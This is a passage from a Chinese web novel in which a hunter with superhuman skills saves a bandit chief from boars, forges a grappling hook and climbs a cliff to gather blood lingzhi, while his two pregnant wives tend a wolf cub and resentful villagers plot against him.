就在那腥臭的獠牙即将触碰到慕容晴身体的瞬间。
“咻!”
一声尖锐到几乎要撕裂耳膜的啸音,陡然从林中深处响起!
一支平平无奇的木箭,裹挟着一股无可匹敌的恐怖力道,后发先至,精准无比地从左侧那头狂冲而来的野猪眼眶中射入,瞬间贯穿了它整个大脑!
“噗!”
箭矢透脑而出,带起一蓬滚烫的血花和白色的脑浆。
那头重达三百多斤的庞大猪身,前冲的势头戛然而止,巨大的惯性带着它沉重的身躯在慕容晴的脚边擦身而过,在地上犁出了一道深深的沟壑,滑出数米远后,才轰然倒地。
快!
太快了!
从箭矢破空到野猪毙命,整个过程,连一息都不到!
慕容晴那俏丽的脸庞上写满了无法言喻的震惊。
她甚至没看清箭是从哪个方向射来的!
然而,死亡的威胁并未解除。
不等她从这惊骇中回过神来,右侧那头野猪已经咆哮着冲到了她的眼前,那对闪着寒光的獠牙,距离她纤细的腰肢,已不足半尺!
完了!
慕容晴的心,彻底沉入了谷底。
如此近的距离,神仙难救!
“咻!”
就在她闭目待死的瞬间,那熟悉的啸音,再一次响起!
还是那样的快,还是那样的准!
第二支木箭,以一个更加刁钻的角度,再一次精准地没入了右侧这头野猪的左眼。
同样的位置,同样的结果。
“砰!”
第二头狂暴的野猪,连惨叫都没能发出一声,庞大的身躯便重重砸在地上,溅起一片尘土,死的不能再死。
前后,不过两次呼吸。
那两头让她陷入死战,几乎耗尽了所有力气的成年野猪,就这么变成了冰冷的尸体。
林中空地,瞬间陷入了一片诡异的死寂。
只剩下浓郁的血腥味,在空气中弥漫。
慕容晴彻底懵了。
她呆呆地站在原地,胸口剧烈地起伏着,大脑一片空白。
她看着地上的三具猪尸,一时间竟有些分不清,这到底是现实还是幻觉。
就在这时,一阵不疾不徐的脚步声,从不远处的密林中传来。
“沙沙……”
慕容晴浑身一僵,猛地转过头,握紧了手中的长刀,一脸警惕地望向声音传来的方向。
只见一个身穿粗布麻衣的年轻男人,肩上扛着一把造型古朴的黑色长弓,从林中悠然走出。
他看起来约莫二十岁上下,身材算不上魁梧,但很匀称。相貌虽然算不上顶尖的俊美,却棱角分明,一双眸子深邃得像古井,带着几分漫不经心的懒散。
看着眼前血腥的场景,他脸上没有半分波动,只是淡淡地扫了一眼地上的三具猪尸,目光便落在了慕容晴的身上。
慕容晴也在看着他。
她那双锐利的凤眼,此刻充满了惊骇与审视。
这个男人,到底是谁?
稻花村附近,什么时候出了这么一个神箭手?
她自问也见过不少所谓的高手,可从未有任何一人,能给她带来如此强烈的震撼。
刚才那两箭,不仅仅是力量和精准,更重要的是其中蕴含的那股势!
她深吸一口气,压下心中的惊涛骇浪,对着来人遥遥一抱拳,声音带着几分激战过后的沙哑。
“多谢阁下出手相救,大恩不言谢,日后若有差遣,我凤啸寨慕容晴,定当报答。”
她报出了自己的名号。
凤啸寨,在这方圆百里,也算是一号人物。
她以为,对方听到这个名字,多少会有些反应。
然而,江夜只是嘴角一勾,露出一抹玩味的笑容。
“谢就不必了。”
江夜摆了摆手,一双眼睛肆无忌惮地在她那被汗水浸湿,紧紧贴在身上的火红色劲装上扫过,将那火爆曲线尽收眼底。
“看你身手不错,长得也还行。不如这样,你跟了我,做我婆娘怎么样?”
“……”
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空气,仿佛在这一刻凝固了。
慕容晴脸上的表情,瞬间僵住。
她怀疑自己的耳朵是不是出了问题。
做……做他婆娘?
她愣了足足三秒,随即,一张俏脸以肉眼可见的速度,迅速冰寒下来。
但她没有立刻发怒,反而笑了。
“呵呵……”
她那双漂亮的凤眼微微眯起,将江夜从头到脚仔細打量了一遍。
一身打满补丁的粗布麻衣,脚上一双破烂的草鞋,全身上下,除了那把看起来有点不凡的黑弓,再也找不出第二件值钱的东西。
就这么一个穷得叮当响的山野村夫,竟然敢开口让她慕容晴,堂堂凤啸寨的寨主,给他当婆娘?
这是她这辈子听过最好笑,也是最狂妄的笑话。
“阁下的箭术,确实惊人。”
慕容晴红唇微启,声音里带着毫不掩饰的讥讽,“不过,你的脑子,似乎比你的箭术更惊人。口气,也比这深山里的瘴气还大。”
她承认,这个男人的箭术强得离谱。
可这言语,也狂妄得没边了。
江夜闻言,也不生气,只是眉毛一挑,饶有兴致地看着她。
这女人,有意思。
性子够辣,够野,他喜欢。
“我这人说话,向来直接。”江夜淡淡一笑,“怎么样?考虑一下?”
慕容晴被他这理所当然的语气给气笑了。
她收起长刀,环抱双臂,胸前的饱满被挤压出一个惊心动魄的弧度。
她往前走了两步,一股带着淡淡馨香和一丝血腥味的野性气息,扑面而来。
她仰起那张美艳又张扬的脸,凤眼直视着江夜的眼睛。
“想让我给你当婆娘?也不是不行。”
她顿了顿,红唇凑到江夜耳边,吐气如兰,声音里却充满了戏谑和挑衅。
“不如这样,你跟我上山,入赘我凤啸寨。看在你今天救了我一命的份上,本寨主可以破例,给你一个二当家的位置当当,如何?””
第20章 血灵芝
入赘?
听到这两个字,江夜眉毛一挑,随即失笑出声。
他看着眼前这个满脸挑衅的绝色女子,慢悠悠地摇了摇头。
“我这人,没兴趣给女人当手下。”
慕容晴脸上的笑容一僵。
她本以为这番话,多少能让这个狂妄的男人吃瘪,让他知道天高地厚,谁知对方竟如此干脆利落地拒绝了。
一股被轻视的恼怒,瞬间涌上心头。
还没等她开口反唇相讥,江夜已经懒得再跟她废话。
他伸出手指,指了指地上躺着的三头野猪。
“那头归你,这两头,我带走。”
“你没意见吧?”
江夜的声音不带什么情绪,像是在宣布一个既定的事实。
慕容晴一口银牙险些咬碎。
她堂堂凤啸寨寨主,何时受过这等轻视?
可看着那两头野猪眼眶里深不见底的血洞,再回想刚才那几乎要撕裂灵魂的箭啸,她心里的火气瞬间熄了大半。
技不如人,而且,他还救了自己一命。
她胸口剧烈地起伏了几下,终究只是从鼻腔里发出一声冰冷的轻哼,算是默认了。
江夜压根没在意她是什么态度,径直走到那两头死透的野猪旁边。
这两头畜生,每一头都膘肥体壮,少说也有三百来斤,两头加起来就是六七百斤的重量。
寻常三五个壮汉,都未必能抬得动。
只见江夜弯下腰,一手抓着一头野猪的后腿,手臂肌肉微微一鼓。
“起!”
一声轻喝。
那两头加起来超过六百斤的庞大猪尸,竟被他硬生生扛了起来,一左一右地甩在了肩膀上。
做完这一切,他脸不红,气不喘,仿佛肩上扛着的不是两头野猪,而是两捆稻草。
“后会有期。”
江夜扛着猎物,冲着已经彻底呆住的慕容晴,点点头。
说完,他不再停留,转身迈开步子,轻松写意地朝着山下走去。
高大沉重的猪尸压在他肩上,他的脚步却依旧稳健如飞,转眼间,那雄壮的背影便消失在了密林深处。
“……”
林中空地上,只剩下慕容晴一个人,呆呆地站在原地。
她看着江夜消失的方向,又低头看了看自己脚边那头野猪,大脑彻底失去了思考的能力。
这个男人……
他还是人吗?
那可是六百多斤的重量啊!
他竟然……就这么扛着走了?
刚才那两箭的震撼,还未平息,眼前这非人的一幕,又一次颠覆了她的认知。
她低头看了看自己因为力竭而微微颤抖的双手,又看了看地上那头自己拼尽全力才杀死的野猪,脸上第一次露出了苦涩的表情。
震惊,好奇,恼怒,还有一丝挫败……种种情绪在她心中翻腾,最终都化作了一声复杂的叹息。
稻花村附近,什么时候出了这么一个怪物?
……
江夜扛着两头野猪,心情大好。
有了这两头猪,再加上之前那头虎王剩下的,卖掉之后,盖房子的钱就差不多凑够了。
他脚步轻快,在崎岖的山路中如履平地。
就在他路过一片断崖时,眼角的余光不经意地向上一瞥,脚步忽然顿住。
那是一面近乎九十度垂直的陡峭石壁,崖壁上因为常年有水流冲刷,长满了湿滑的青苔,抬头望不到顶,当地猎户都称之为“一线天”,寻常猿猴都难以攀爬。
然而,就在那百米之高,一处常年被云雾笼罩的石台上,江夜的瞳孔
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猛地一缩。
一抹幽幽的红光,正在那石台的缝隙中,若隐若现。
那光芒不甚明亮,却带着一股奇异的生命力。
江夜的心,猛地一跳。
他放下肩上的野猪,眯起眼,将目力运到极致。
那是一片血红色的菌类植物,形状如人耳,通体晶莹,正迎着山风,散发着淡淡的幽光。
血灵芝!
而且看那规模和色泽,年份绝对不低!
江夜的呼吸,瞬间急促了几分,眼中爆发出狂喜的光芒。
这可是真正的天材地宝,论价值,
这可是比百年野山参还要罕见的天材地宝!真正的有价无市!
无论是拿去卖钱,还是留给怀孕的梦夏和梦秋补身子,都是无价之宝。
狂喜过后,他迅速冷静下来,开始打量那片崖壁。
太高了。
目测至少有百米,而且崖壁近乎九十度垂直,加上常年湿滑,根本没有可以借力的地方。
江夜估算了一下。
以他现在15点的体力,力量和耐力是足够了,但想在没有任何防护和工具的情况下,徒手攀上这百米绝壁,和找死没什么区别。
一个失手,就算他是铁打的,也得摔成一滩肉泥。
可惜归可惜,江夜却没多少失望。
别人看到这一幕,或许只能望洋兴叹,但他不同。
他脑海中,那神级工匠的技艺,瞬间被激活。
无数种攀爬工具的设计图,在他脑中一闪而过。
飞爪,绳索,特制的攀岩钉,甚至还有结构精巧的滑轮组……
一个大胆而周密的计划,迅速在他心中成型。
看来,得先回家一趟,打造一套“专业设备”再来了。
这片血灵芝,他要定了!
第23章 这肉你拿着
江夜无视了周围所有人的目光,弯腰,一手一个,将那两头巨大的野猪,轻轻松松地拖进了自家院子。
“哥,王囤大哥,搭把手,把这两头猪拾掇了。”
仍然处在巨大震惊中的江峰一个激灵,回过神来,看着安然无恙的弟弟,眼眶一热,连忙应道:“欸!好!”
王囤也从呆滞中反应过来,他搓了搓手,有些局促,但还是扛着锄头走了过来:“江夜兄弟,你说,咋弄?”
“先放血,剥皮。”江夜言简意赅。
江峰是老猎户,王囤是庄稼好手,两人干活都是一把好手。在江夜的指挥下,三人点起火把,开始在院子里忙活起来。
周围的村民们没敢靠近,只是远远地伸长了脖子看着。
看着那锋利的剥皮刀在江夜手里上下翻飞,看着那厚重的猪皮被完整地剥下,看着那雪白的板油和鲜红的瘦肉被一块块分割开来……所有人都沉默了。
两个时辰后,两头巨大的野猪被分割得干干净净。
猪皮、猪骨、内脏、肥肉、瘦肉,分门别类,堆得像小山一样。
江夜直起身,擦了擦手上的油,走到肉堆前,手起刀落,直接割下一大块足有十来斤,肥瘦相间的后臀肉,走到一旁局促不安的王囤面前。
“王囤大哥,这个,你拿回去。”
王囤看着眼前那一大块还在微微颤动的猪肉,吓得连连摆手,脸都涨红了:“使不得!使不得啊江夜兄弟!我就帮着说了两句话,搭了把手,哪能要你这么金贵的东西!”
这么一大块肉,够他一家吃上小半个月了!
更何况这年头,能吃上肉对他们这种人家来说简直是妄想。
江夜却不容他拒绝,直接将肉塞进他怀里。
“拿着。”
“我江夜不欠人情。你刚才站出来,这肉,你就该拿。”
王囤抱着怀里沉甸甸的肉,感受着那份实实在在的重量,眼眶一下子就红了。他一个老实巴交的庄稼汉,嘴笨,不知道该说什么,只是一个劲地点头,嘴里喃喃着:“谢……谢谢江夜兄弟……”
“哥,这块你拿回去。”江夜又砍下一条完整的猪后腿,递给江峰。
江峰看着那起码三四十斤的猪腿,也是连忙推辞:“二弟,你留着!正是要花钱的时候,我和你嫂子那还有吃的……”
“拿着吧。”江夜拍了拍哥哥的肩膀,“我这还有。拿回去给嫂子和琼琼补补身子。”
说完,他便不再多言,转身回了屋。
江峰提着沉重的猪腿,看着弟弟的背影,心中五味杂陈。
喜悦,震撼,还有一丝说不清道不明的陌生感。
他这个弟弟,好像真的脱胎换骨了。
……
屋里,姐妹俩已经烧好了热水。
江夜洗去一身的血腥和疲惫,坐到桌前。
一盘蒜苗炒肉,一碗喷香的猪杂汤,还有白生生的大米饭,已经摆上了桌。
姐妹俩一左一右地坐在他身边,也不说话,只是眼圈红红地看着他,一个为他盛饭,一个为他夹菜,仿佛要把所有的担惊受怕,都化作这无言的温柔
看着两个女人脸上的庆幸和毫不掩饰的崇拜,江夜心中一暖。他扒了两口饭,忽然想起了什么。
他小心翼翼地掏出一个毛茸茸的小东西,放在了桌上。
白梦夏和白梦秋同时发出一声低低的惊呼。
那是一只通体银白的小兽,只有巴掌大小,此刻正奄奄一息地蜷缩着,身上沾满了干涸的血迹,一条后腿更是以一个诡异的角度扭曲着,看着就让人心疼。
“夫君,这……这是?”白梦夏凑了过来,美眸里满是惊奇和怜惜。
“路上捡的。”江夜随口道。
“好可怜的小东西……”白梦秋的心一下子就软了,她伸出手指,小心翼翼地碰了碰小兽的脑袋。
小兽似乎察觉到了善意,虚弱地动了动,却没有发出任何攻击性的声音。
姐妹俩对视一眼,立刻行动起来。
她们找来干净的布条,又从角落的瓦罐里倒出一些疗伤的草药,小心翼翼地为它重新清洗、包扎伤口。
她们的动作轻柔到了极点,生怕弄疼了这个脆弱的小生命。
江夜在一旁看着,没有插手。
很快,伤口就被重新处理好。白梦秋又盛来一小碗温热的肉汤,用小勺子一点一点地喂到小狼崽的嘴边。
小狼崽似乎是饿极了,起初还有些警惕,但闻到那诱人的肉香,终于忍不住,伸出粉嫩的小舌头,试探性地舔舐起来。
它很乖,整个过程都任由姐妹俩摆弄,没有挣扎,也没有乱叫。
一碗肉汤下肚,小家伙的精神肉眼可见地好了许多,不再像之前那样奄奄一息。
它似乎很喜欢白梦秋身上的气息,喝完汤后,便主动在她怀里找了个舒服的位置,蹭了蹭,蜷缩成一团,沉沉地睡了过去,喉咙里还发出满足的轻微鼾声。
白梦秋低头看着怀里这团银白的小**球,一颗心几乎要被萌化了,她忍不住伸出手指,轻轻抚摸着它顺滑的皮**,脸上满是喜爱。
“姐姐你看,它好乖啊。”
白梦夏也笑着点点头,看着妹妹那副爱不释手的样子,又看了看旁边一脸淡然的夫君,屋子里温馨的气氛,让她感觉像是在做梦一样。
从绝望的囚车,到如今安稳的生活,这一切,都是眼前这个男人带来的。
她的目光落在江夜身上,温柔得几乎要滴出水来。
晚饭过后,院子里的血腥气被冲洗干净,只剩下淡淡的泥土味。
姐妹俩手脚麻利地将碗筷收拾妥当,又将屋里屋外都打扫了一遍。
那只银色的小狼崽喝饱了肉汤,被安置在铺了干草的篮子里,睡得正香。
屋子里,油灯的光晕昏黄而温暖,将三人的影子投在土坯墙上,轻轻晃动。
江夜坐在床边,看着眼前两个因为怀了身孕,而愈发显得风韵十足的妻子。
或许是怀了身孕的缘故,白梦夏和白梦秋姐妹俩原本就绝美的容颜,此刻更是添了几分说不出的丰腴风韵。
她们的脸颊比初见时圆润了些,带着健康的红晕,眉眼间褪去了初来乍到的惊惶与不安,取而代之的是一种为人妇的温柔与恬静。
姐妹俩也正含情脉脉地看着他。
“夫君,累了一天,泡泡脚吧。”白梦夏柔声说着,和妹妹对视一眼,两人默契地起身,端来一盆热气腾腾的洗脚水。
木盆放在江夜脚边,升腾起的热气模糊了灯影。
“我来。”白梦秋抢着蹲下身,伸出纤纤素手,试了试水温,感
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觉刚刚好,这才小心翼翼地捧起江夜的脚,放入水中。
温热的水流瞬间包裹了双脚,驱散了今日在山林间奔波的所有疲惫。
白梦秋的脸颊红扑扑的,低着头,长长的睫毛像两把小扇子,轻轻颤动。她的小手有些笨拙,却很认真地为江夜揉捏着脚掌,那力道不轻不重,恰到好处。
“姐姐,你也来。”白梦秋小声喊道。
白梦夏莞尔一笑,也蹲了下来,拿起一旁的布巾,浸湿了热水,细致地擦拭着江夜的小腿。
姐妹俩一左一右,一个揉脚,一个擦腿,配合得天衣无缝。
她们的动作轻柔而认真,那温软的小手按在结实的肌肉上,力道恰到好处,说不出的舒服。
“夫君,以后别再一个人进深山了,好不好?”白梦夏一边为他擦洗,一边轻声说着,声音里带着后怕,“那些人说话好难听,我和姐姐都以为……都以为你……”
“别瞎想。”江夜伸出手,揉了揉她的小脑袋,“我不是好好地回来了吗?”
“可我们还是怕。”白梦夏抬起头,那双水盈盈的眸子里满是关切,“夫君,以后……还能不能别去那么危险的地方了?我和妹妹现在什么都不缺,只要你平平安安的就好。”
看着她们俩脸上真切的担忧,江夜心中一片熨帖。
有美妻在侧,温香软玉。
这种从身体到精神上的双重满足,让他舒服得几乎要呻吟出声。
很快一股熟悉的燥热不受控制地升腾起来,像是有一团火,顺着四肢百骸疯狂乱窜。
江夜的身体微微一僵。
他看着眼前两个娇美如花的妻子,看着她们因蹲着而更显玲珑的曲线,看着她们衣领下若隐若现的雪白肌肤,喉结不受控制地滚动了一下。
他体质本就远超常人,如今更是血气方刚,精力旺盛得没处发泄。
偏偏……
能看,不能碰。
这两个都是揣着崽的,金贵得很,可不能有半点闪失。
江夜深吸一口气,强行压下体内那股几乎要冲破天灵盖的邪火。
这**,简直是酷刑!
江夜缓缓闭上眼,试图平复这股躁动。
然而,就在他闭上眼的瞬间,一抹刺目的火红色,却毫无征兆地出现在脑海中。
不同于白梦夏姐妹俩的温柔似水,那是一种极具侵略性的野性之美。
那个身穿火红劲装,身段火爆又高挑的女人。
那张扬又美艳的脸,那双微微上挑,仿佛带着钩子的凤眼。
慕容晴。
白天在林中看到的那一幕,此刻竟无比清晰地在脑中回放。
这个女人,就像一匹未经驯服的烈马。
江夜的呼吸,猛地粗重了几分。
那股原本无处安放的邪火,仿佛在瞬间找到了一个宣泄的出口。
他睁开眼,眼底深处,一簇火焰悄然点燃。
水,已经凉了。
白梦夏抬起头,正要说话,却对上了夫君那双亮得有些吓人的眼睛,她微微一怔,脸颊不由自主地红了。
“夫君?”
江夜没有说话,只是将脚从水盆里抽出。
他站起身,走到窗边,推开了那扇破旧的木窗。
冰凉的夜风灌了进来,吹在他发烫的脸上,却丝毫无法浇灭他心中的那团火。
第24章 几家欢喜几家愁
深夜,王囤家。
昏黄的油灯被小心地拨亮了些,豆大的火苗在灯罩里轻轻跳跃,将屋里三道人影投在斑驳的土坯墙上。
桌子是三条腿的,缺了的一角用几块砖头垫着,桌上一碗热气腾腾的炖肉,正散发着一股能把人魂儿都勾走的霸道香气。
王囤和他老娘林秀芬,还有十岁的妹妹王小草,三个人直愣愣地围着桌子,眼睛一眨不眨地盯着那碗肉,谁也没敢先动筷子,好像生怕一喘气,这碗肉就会飞了似的。
三人的喉结,都在不受控制地上下滚动。
“咕……”
王小草的肚子,不合时宜地叫了一声。她赶紧捂住嘴,小脸涨得通红,一双大眼睛里,怯生生地看着自己的娘和哥哥。
林秀芬浑浊的眼睛一下子就红了。
她这辈子,守寡拉扯大一双儿女,苦了一辈子,穷了一辈子。别说肉,就是一顿饱饭,对这个家来说都是奢侈。
她拿起桌上那双磨得发亮的筷子,手抖得厉害,试了好几次,才夹起一块炖得颤巍巍的肉块。
她没有把肉放进自己嘴里,而是小心翼翼地,送到了小女儿王小草的嘴边。
“小草,吃。”她的声音沙哑,带着一丝不易察觉的哽咽。
王小草长期营养不良,小脸蜡黄,身子瘦得像根豆芽菜。她怯生生地看着母亲,又看看那块肉,口水已经不受控制地流了下来。她张开小嘴,将那块肉含了进去。
肉一入口,甚至不用嚼,那股丰腴软糯的口感就瞬间在舌尖化开。一股从未体验过的浓郁肉香,轰然炸裂在她的味蕾上。
小姑娘的眼睛瞬间瞪得溜圆,用力地嚼着,小脸上因为激动而泛起红晕,那副幸福又满足的模样,仿佛吃到了天底下最美味的东西。
“娘,哥,你们也吃,好香,好香啊……”王小草含糊不清地说道,想把这份喜悦分享给家人。
林秀芬看着女儿的样子,脸上露出了一个满足的笑容,眼角的泪却再也忍不住,悄无声息地滑落下来。她连忙抬起袖子擦了擦,又夹起一块瘦的,递给王囤。
“囤儿,你吃。你白天干活累,得补补。”
王囤看着母亲,又看看妹妹,这个憨厚的庄稼汉子眼眶也红了。
“娘,你先吃。你身子不好,吃了这个,冬天就不咳嗽了。”
他又给妹妹夹了一块,最后才给自己夹了一小块,塞进嘴里。
肉香满口,暖意从胃里一直流淌到心里。
王囤一边嚼着肉,一边看着灯下家人满足的脸,心里对江夜,充满了感激。
……
肉香是挡不住的,它顺着夜风,飘飘悠悠,钻进了隔壁赵癞头的院子。
赵癞头和王麻子正凑在一起,一个手用破布吊着,一个脸肿得像猪头,都是白天江夜的“杰作”。
当那股霸道的肉香钻进鼻孔时,两人脸上的怨毒之色顿时又浓了几分。
“**!”
赵癞头一拳砸在缺了角的桌子上,立刻牵动了手掌的伤口,疼得他龇牙咧嘴,倒吸一口凉气。
“王囤那个窝囊废,凭什么也能吃上肉!”王麻子一边流着哈喇子,一边死死盯着隔壁窗户透出的昏黄灯火,嫉妒得眼珠子都快红了。
他们一闭上眼,就能想到江夜家那两个水灵得能掐出水的婆娘,想到院子里那堆积如山的猪肉,再想到自己,一个手被射穿,一个被当众扇晕……
“江夜……”赵癞头从牙缝里挤出这两个字,眼神阴狠得让人不寒而栗,“他凭什么?一个以前连饭都吃不上的二流子,凭什么突然就变得这么邪门!”
王麻子也想不通,他摸着自己火辣辣的脸,恨声道:“就是!打**虎,又弄回来两头大野猪,还有那两个小骚蹄子……**,天底下的好事,怎么全让他一个人占了!”
两人对视一眼,都从对方眼里看到了同样的不甘和怨毒。
“癞头哥,这口气,就这么算了?”王麻子不甘心地问。
“算了?”赵癞头冷笑一声,那笑容比哭还难看,“我赵癞头什么时候吃过这么大的亏!这事没完!”
……
另一边,江夜家。
姐妹俩早已沉沉睡去。
江夜却毫无睡意。
他坐在床边,听着两个妻子均匀的呼吸声,心中的那股燥火却怎么也压不下去。
闭上眼,是慕容晴那张扬又美艳的脸。
睁开眼,又是眼前两个看得摸不得的娇妻。
这简直是酷刑。
与其在这里受煎熬,不如干点正事。
江夜的脑海中,瞬间浮现出白天看到的那片幽幽红光。
血灵芝!
那可是真正的宝贝。
无论是给两个老婆补身子,还是拿去换钱盖大瓦房,都是眼下最急需的东西。
想到这里,江夜再也坐不住了。
他轻手轻脚地起身,将被子为两个妻子掖好,这才悄无声息地走出屋子。
院子里,月光如水。
江夜径直走到院子角落,从一堆杂物里拖出几块木料和一块锈迹斑斑的废铁。
那木料,是上次制作神弓剩下的铁桦木边角料,坚硬无比。
那废铁,似乎是某个坏掉的犁头,又丑又笨重,在村民眼中,连回炉的价值都没有。
可在江夜眼中,这些却是不可多得的宝贝。
他将东西拖到院子中央,深吸一口气,脑海中那沉寂的神级工匠技艺,瞬间被激活。
刹那间,无数繁杂精妙的图纸在他脑中闪过,最终定格在一副结构奇特、造型精
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巧的工具图上。
飞爪!
就是它了!
江夜眼神一亮,说干就干。
他先用泥土和石块,在院中空地上迅速垒起一个简易的熔炉,接着将最好的硬木炭放入其中点燃。
风箱没有,他就用一张完整的猪皮简单处理,制作成一个临时的鼓风袋。
随着他有节奏地拉动,一股股强风灌入炉膛,炉内的火苗瞬间由红转蓝,温度急剧攀升。
他将那块锈迹斑斑的废铁扔进火炉。
不过一炷香的功夫,那块废铁就被烧得通体赤红,像一块烙铁。
江夜用一把破旧的铁钳夹出废铁,将其放在一块充当铁砧的大石头上。
“叮!”
他抡起一把半旧的铁锤,狠狠砸下!
火星四溅!
“叮!当!叮叮当当!”
江夜的动作,充满了某种难以言喻的韵律感。他每一锤的落下,力道、角度、时机都妙到毫巅。没有一丝多余的动作,没有一分力气的浪费。
那笨重的铁锤在他手中,轻盈得如同绣花针。
那块原本丑陋不堪的废铁,在他一次次的捶打下,杂质被不断炼出,体积在缩小,质地却变得愈发精纯。它就像一块面团,在江夜的手中被反复折叠、锻打,逐渐显露出锋利的雏形。
一个时辰后,四片闪烁着森然寒光的爪刃,已经静静地躺在了一旁的水盆里,上面还升腾着丝丝白气。每一片爪刃都形如鹰爪,尖端锋利无比,尾部则带着精巧的卡槽结构。
处理完金属部件,江夜又拿起了那块铁桦木。
他手中没有刻刀,只有一把寻常的柴刀。
可那把柴刀在他手中,却比最精密的刻刀还要好用。
“唰唰唰……”
木屑翻飞,江夜的动作行云流水。他甚至没有去测量,只是凭着脑中的图纸和一双手的本能,削、磨、钻、刻。
很快,一个带着复杂机关结构的木质主体便已成型。
他将四片爪刃嵌入木质主体的卡槽中,轻轻一按机关。
“咔嚓!”
一声清脆的机括声响,那四片爪刃瞬间从主体中弹出,牢牢锁定,组成了一副狰狞而完美的飞爪。再一按,爪刃又“唰”的一声收回主体,变成了一个不过巴掌大小、便于携带的木块。
最后,他取来那头猛虎身上最坚韧的一段虎筋,经过揉制、搓捻,制成一条坚韧无比、足有数十米长的绳索,牢牢系在飞爪之上。
大功告成!
江夜手持着这副崭新的飞爪,满意地点了点头。
这东西,无论是造型还是其中蕴含的机巧,都远远超出了这个时代的认知。
他掂了掂手里的飞爪,嘴角微翘。
现在,万事俱备。
只等天明了。
第25章 满载而归
天刚蒙蒙亮,江夜家的土坯房里已经亮起了灯火。
白梦夏和白梦秋姐妹俩早已起身,正轻手轻脚地准备着早饭。
浓郁的肉粥香气,已经飘满了整个屋子。
当江夜起床后,看到的就是这样一幅温馨的画面。
“夫君,你醒了。”
姐妹俩几乎是同时回过头,当她们看清江夜眼底那一圈淡淡的血丝时,脸上不约而同地露出了心疼的神色。
“夫君,你昨夜是不是没睡好?”白梦夏端着一碗热粥走过来,柔声问道。
白梦秋也放下手里的活计,走到江夜身边,小手有些担忧地抓住了他的衣角。
“是不是我们……吵到你了?”
江夜心中一暖,摇了摇头,接过粥碗喝了一大口,暖意瞬间从胃里流遍全身。
“没有,睡得很好。”他放下碗,看着两个女人脸上掩饰不住的关切,“吃了饭,我还要再进一趟山。”
江夜话音刚落,姐妹俩的脸色瞬间变了。
“还去?”白梦夏的声音都有些发颤,“夫君,山里太危险了,我们现在什么都不缺,你别去了好不好?”
“是啊夫君,”白梦秋的眼圈也红了,“昨天那些人说的混账话,都快把我们吓**。求求你,别去了……”
看着她们俩泫然欲泣的模样,江夜心中一软。他知道,昨天村口那一幕,给她们留下了不小的阴影。
他伸出手,轻轻刮了刮白梦夏小巧的琼鼻,惹得她脸颊一红,微微低下头去。
“放心,我不去深山,就在外围转转。”江夜笑着安慰道,“乖乖在家等我,等我回来,就给你们盖一座又大又暖和的青砖大瓦房。”
姐妹看着男人脸上那自信又笃定的笑容,她们心中的担忧,不知不觉就被冲散了些。
她们知道,自己的夫君,从来说到做到。
“那……那你一定要早点回来。”白梦夏咬着嘴唇,千叮咛万嘱咐。
“嗯,去去就回。”
江夜笑着应下,将碗里的肉粥一饮而尽。
他带上那把新制的黑色长弓,又将昨夜打造好的飞爪和绳索仔细地缠在腰间,最后俯身在姐妹两光洁的额头上各亲了一口。
“等我。”
说完,他不再停留,转身大步迈出院门,消失在清晨的薄雾中。
江夜没有片刻耽搁,径直奔着昨日那片断崖而去。
山路崎岖,但在他脚下却如履平地。不过半个时辰,那面如刀削斧劈般的陡峭石壁,便再次出现在眼前。
他抬起头,目光越过层层叠叠的湿滑青苔,精准地锁定了百米之上的那处石台。
即便隔着这么远,他似乎都能感受到那抹若隐若现的红光中所蕴含的蓬勃生机。
江夜深吸一口气,不再犹豫。
他解下腰间的飞爪,握在手中掂了掂,那精巧的机关和沉甸甸的质感,让他心中充满了自信。
他后退几步,手臂猛地抡圆,将那黑色的飞爪奋力向上甩去!
“呼——”
飞爪带着长长的虎筋绳索,呼啸着划破长空,在空中划出一道完美的抛物线。
“咔嚓!”
一声清脆的金属撞击声,从百米高空传来。
那四片锋利的爪刃,精准无比地扣入了一道坚实的岩石缝隙之中,死死地咬住了山体。
江夜用力拽了拽绳索,纹丝不动!
成了!
他嘴角微翘,双手抓住坚韧的虎筋绳,手臂肌肉猛然贲起。
下一刻,他整个人便如同离弦之箭,双脚在近乎垂直的崖壁上连连蹬踏,飞速向上攀爬而去!
百米绝壁,对于常人而言是天堑,是死亡禁区。
可对于拥有15点体质和飞爪加持的江夜来说,这里不过是一个大号的游乐场。
他的每一次发力,每一次蹬踏,都精准而高效。身体的协调性达到了一个匪夷所思的境界,整个人仿佛与这崖壁融为一体。
山风在他耳边呼啸,脚下的地面迅速缩小。
寻常人只要低头看一眼,便会头晕目眩,肝胆俱裂。
江夜却面不改色,攀爬的速度甚至越来越快。
不过一炷香的功夫,那片被云雾笼罩的石台,便已近在眼前。
他手臂一发力,身体轻盈地一翻,稳稳地
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落在了石台之上。
当看清眼前景象的瞬间,饶是江夜心性沉稳,呼吸也不由得急促了几分,眼中爆发出难以抑制的狂喜。
只见石台的缝隙中,一片奇异的菌类植物,正静静地生长着。
它们大如人耳,层层叠叠,足足覆盖了脸盆大小的一片区域。通体呈现出一种晶莹剔透的血红色,仿佛是由最顶级的血玉雕琢而成,表面还覆盖着一层淡淡的流光,在晨光下,美得惊心动魄。
一股无法用言语形容的异香,从这片血红色的植物上散发出来,只是轻轻吸上一口,就让人感觉四肢百骸都舒泰了几分,精神为之一振。
血灵芝!
而且是年份至少在五百年以上的极品血灵芝!
江夜强压下心中的狂喜,不敢有丝毫大意。他从怀里掏出事先准备好的布包,然后用柴刀小心翼翼地,连带着根部的泥土和石块,将整片血灵芝完整地挖掘下来。
当这片沉甸甸的宝物被完整地捧在手中时,江夜才长长舒了口气,一颗心砰砰直跳。
发了!这次是真的发了!
他小心翼翼地将血灵芝用布包好,妥善地放入怀中。
正当他准备原路返回时,眼角的余光不经意地一瞥,目光突然定格在了灵芝旁边的一道石缝里。
那石缝中,几株看起来平平无奇的植物,正迎风摇曳。
江夜心中一动,走上前去,扒开泥土一看,顿时又是一喜。
是野山参!
而且看那芦头和根须,每一株的年份,至少都在五十年以上!虽然比不上那株百年的,但胜在数量多,足足有四五株!
真是个风水宝地!
江夜喜上眉梢,毫不客气地将这几株意外之喜也全部挖了出来,用草绳捆好,挂在腰间。
收获满满!
江夜站在石台上,看着远处连绵的山脉和脚下渺小的村庄,只觉得胸中豪情万丈。
有了这些东西,盖房子的钱,绰绰有余!给两个老婆补身子的东西,也有了!
他不再停留,抓起绳索,身体如同壁虎般,顺着崖壁,轻盈而迅速地滑了下去。
第26章 山匪闯门
与此同时,稻花村,江夜家。
阳光正透过稀疏的篱笆,在小院里洒下斑驳的光影。
院子里,白梦夏和白梦秋正蹲在那个铺着干草的篮子旁。
